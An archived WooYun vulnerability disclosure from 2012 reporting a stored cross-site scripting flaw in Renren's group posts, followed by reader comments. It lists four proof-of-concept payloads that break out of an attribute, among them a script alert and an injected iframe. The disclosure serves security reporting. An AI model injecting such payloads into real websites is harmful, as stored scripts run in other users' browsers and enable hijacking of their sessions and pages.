当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-08021

漏洞标题：人人小组持久型XSS

相关厂商：人人网

漏洞作者：         

提交时间：2012-06-08 08:00

修复时间：2012-06-08 08:00

公开时间：2012-06-08 08:00

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：5

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-06-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-06-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

人人小组XSS漏洞

详细说明：

在人人小组，点击发新帖子，然后内容输入以下代码中任意一个，你懂的
1、

"><script>alert('XXS');</script><"


2、

"><iframe src=http://www.wooyun.org>


3、

"><script>window.open(';');</script><"


4、

"/><div style="position:absolute;left:10000px;top:10000px;">

漏洞证明：


修复方案：

版权声明：转载请注明来源         @乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2012-06-08 09:20 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    这个很严重啊

  2. 2012-06-08 09:22 | random_ ( 普通白帽子 | Rank:295 漏洞数:50 | 推动开源推动网络安全)

    这个是写入到meta里面了

  3. 2012-06-08 09:25 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    人人都现在基本都是忽略吧

  4. 2012-06-08 11:21 | CnCxzSec(衰仔) ( 普通白帽子 | Rank:322 漏洞数:32 | Wow~~~)

    洞主ID亮了

  5. 2012-06-08 11:22 | CnCxzSec(衰仔) ( 普通白帽子 | Rank:322 漏洞数:32 | Wow~~~)

    原来是@Sogili 牛……

  6. 2012-06-08 11:51 |          ( 路人 | Rank:0 漏洞数:1 | 求不要和谐俺！)

    @CnCxzSec(衰仔) 我不是TA啊，我的个人主页被莫名其妙修改了。我只是刚注册的小菜鸟。。

  7. 2012-06-08 14:33 |          ( 路人 | Rank:0 漏洞数:1 | 求不要和谐俺！)

    已经修复了。

  8. 2012-06-08 20:01 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    @          @CnCxzSec(衰仔) Sry ヽ(´｀)/

  9. 2012-06-09 00:36 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    我是来围观洞主ID的。